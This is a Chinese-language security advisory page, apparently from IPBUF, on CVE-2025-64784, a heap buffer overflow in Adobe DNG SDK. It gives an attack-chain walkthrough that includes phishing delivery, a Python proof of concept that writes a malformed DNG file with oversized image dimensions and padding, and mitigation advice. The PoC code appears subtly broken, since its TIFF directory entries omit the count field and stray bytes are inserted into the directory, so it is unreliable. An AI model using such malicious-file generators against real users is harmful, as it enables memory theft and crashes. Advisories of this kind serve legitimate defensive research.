IPBUF安全漏洞报告
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CVE-2025-64784 CVSS 7.1 高危

CVE-2025-64784: Adobe DNG SDK堆缓冲区溢出漏洞导致内存泄露

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2025-64784
漏洞类型
堆缓冲区溢出
CVSS评分
7.1 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Adobe DNG SDK

相关标签

AdobeDNG SDK堆缓冲区溢出内存泄露拒绝服务本地攻击CVE-2025-64784RAW图像处理高危漏洞

漏洞概述

CVE-2025-64784是Adobe DNG SDK中发现的一个高危安全漏洞,影响版本1.7.0及更早版本。该漏洞属于堆缓冲区溢出(Heap-based Buffer Overflow)类型,攻击者可利用恶意构造的DNG文件触发堆缓冲区溢出,从而导致敏感内存信息泄露或应用程序拒绝服务。漏洞攻击复杂度较低,无需认证即可尝试利用,但需要用户交互,即受害者必须打开恶意文件才能触发漏洞。此漏洞主要影响处理DNG(Digital Negative)格式图像文件的应用程序和服务。由于DNG是Adobe推出的开放RAW图像格式,被广泛应用于数码摄影和图像处理软件中,因此该漏洞可能影响大量使用Adobe DNG SDK的第三方应用程序。Adobe安全团队([email protected])发现并报告了此漏洞,建议用户尽快更新到最新版本以修复此安全问题。

技术细节

Adobe DNG SDK在处理恶意构造的DNG图像文件时存在堆缓冲区溢出漏洞。漏洞根源在于SDK在解析DNG文件格式时,对输入数据的长度验证不充分,导致攻击者可以通过精心构造的DNG文件触发堆内存越界写入或读取。当应用程序使用DNG SDK打开恶意DNG文件时,攻击者可利用此漏洞实现以下攻击效果:1)越界读取堆内存中的敏感数据,包括其他内存区域的内容、密钥、密码等敏感信息;2)触发堆损坏导致应用程序崩溃,造成拒绝服务攻击。CVSS 3.1评分7.1(高危),攻击向量为本地(AV:L),表明攻击者需要本地访问或通过社会工程诱导用户打开恶意文件。攻击者可能通过钓鱼邮件、恶意网站下载链接或捆绑恶意软件的合法网站分发恶意DNG文件。由于无需认证(PR:N)且用户交互要求较低(UI:R),该漏洞在实际攻击场景中具有较高的可行性。

攻击链分析

STEP 1
步骤1: 侦察阶段
攻击者收集目标信息,识别使用Adobe DNG SDK处理DNG图像文件的应用程序。攻击者可能通过开源代码分析、供应链分析或公开的CVE数据库确认目标应用使用的DNG SDK版本。
STEP 2
步骤2: 恶意文件制作
攻击者创建包含恶意构造数据的DNG文件。精心设计DNG文件的特定字段(如ImageWidth、ImageLength、StripOffsets等),使得DNG SDK在解析时触发堆缓冲区溢出。文件中嵌入超大的尺寸值或错误计算的偏移量。
STEP 3
步骤3: 载荷投递
攻击者通过多种方式将恶意DNG文件投递到目标用户:1)钓鱼邮件附带恶意文件;2)恶意网站提供文件下载;3)社会工程学诱导用户下载并打开文件;4)通过即时通讯软件或云存储服务分享文件。
STEP 4
步骤4: 用户交互触发
受害者打开恶意DNG文件,触发DNG SDK的解析过程。由于漏洞需要用户交互(UI:R),攻击者必须诱导用户主动打开恶意文件。受害者可能是使用图像处理软件、照片管理应用或任何集成DNG SDK功能的应用程序的用户。
STEP 5
步骤5: 漏洞利用
当DNG SDK解析恶意文件时,堆缓冲区溢出被触发。攻击者可以实现:1)敏感内存信息泄露,通过越界读取获取其他内存区域的数据;2)应用程序崩溃,造成拒绝服务攻击。CVSS评分显示机密性影响为高(C:H),可用性影响为高(A:H)。
STEP 6
步骤6: 持久化或数据窃取
如果攻击者成功利用漏洞泄露内存信息,可能获取敏感数据如加密密钥、用户凭证、应用程序配置信息等。在某些场景下,攻击者可能尝试进一步利用堆损坏实现代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-64784 PoC - Adobe DNG SDK Heap Buffer Overflow This PoC generates a malicious DNG file to trigger heap buffer overflow. Note: This is for educational and security research purposes only. """ import struct import os def create_malicious_dng(): """Generate a malicious DNG file to trigger buffer overflow in DNG SDK""" # DNG file header (TIFF format) dng_header = bytearray() # Byte order mark (little-endian) dng_header.extend(b'II') # TIFF magic number (42) dng_header.extend(struct.pack('<H', 42)) # First IFD offset ifd_offset = 8 dng_header.extend(struct.pack('<I', ifd_offset)) # IFD header num_entries = 8 dng_header.extend(struct.pack('<H', num_entries)) # Craft malicious TIFF tags to trigger overflow # NewSubfileType dng_header.extend(struct.pack('<HHI', 254, 4, 0)) # ImageWidth - malicious large value dng_header.extend(struct.pack('<HHI', 256, 4, 0x7FFFFFFF)) # ImageLength - malicious large value dng_header.extend(struct.pack('<HHI', 257, 4, 0x7FFFFFFF)) # BitsPerSample dng_header.extend(struct.pack('<HHI', 258, 3, len(dng_header) + 24)) # Compression - uncompressed dng_header.extend(struct.pack('<HHI', 259, 3, 1)) # Make - Adobe dng_header.extend(b'Adobe\x00\x00\x00') make_offset = len(dng_header) - 8 dng_header.extend(struct.pack('<HHI', 271, 2, make_offset)) # StripOffsets - malicious offset values strip_offset = len(dng_header) + 24 dng_header.extend(struct.pack('<HHI', 273, 4, strip_offset)) # SamplesPerPixel dng_header.extend(struct.pack('<HHI', 277, 3, 1)) # Add padding data to trigger overflow padding_size = 0x10000 # Large padding to trigger overflow padding = b'\x41' * padding_size dng_header.extend(padding) # Write malicious DNG file output_file = 'CVE-2025-64784_malicious.dng' with open(output_file, 'wb') as f: f.write(dng_header) print(f'[+] Malicious DNG file created: {output_file}') print(f'[+] File size: {len(dng_header)} bytes') print('[!] This file is designed to trigger CVE-2025-64784') print('[!] Do not open this file in production environments') return output_file if __name__ == '__main__': create_malicious_dng()

影响范围

Adobe DNG SDK <= 1.7.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)严格限制从不可信来源打开DNG文件,避免打开来源不明的图像文件;2)使用杀毒软件或EDR解决方案监控异常的文件访问行为;3)在处理DNG文件时启用应用程序的沙箱模式或容器隔离;4)对于服务器端应用,考虑使用文件类型检测和内容分析服务预先扫描上传文件;5)监控应用程序日志,及时发现和处理异常崩溃情况;6)培训用户识别社会工程攻击,避免打开可疑附件或下载链接。

参考链接

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